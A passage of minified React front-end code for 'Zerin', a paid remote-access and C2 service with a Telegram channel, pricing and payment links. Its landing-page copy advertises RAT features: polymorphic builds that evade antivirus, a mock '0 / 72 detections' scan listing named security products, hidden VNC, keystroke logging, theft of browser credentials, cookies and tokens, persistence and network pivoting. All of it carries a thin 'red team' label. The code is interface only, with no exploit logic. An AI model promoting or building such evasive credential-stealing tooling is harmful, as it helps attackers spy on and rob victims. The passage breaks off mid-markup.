hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>a.jsxs(a.Fragment,{children:[M&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:V}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(CE,{})}),a.jsx(H_,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(Z_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const J_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function eA(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const tA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],nA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function $s({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const rA=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),iA=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function aA(){const e=eA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(J_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:nA.map((u,d)=>a.jsx(rA,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center 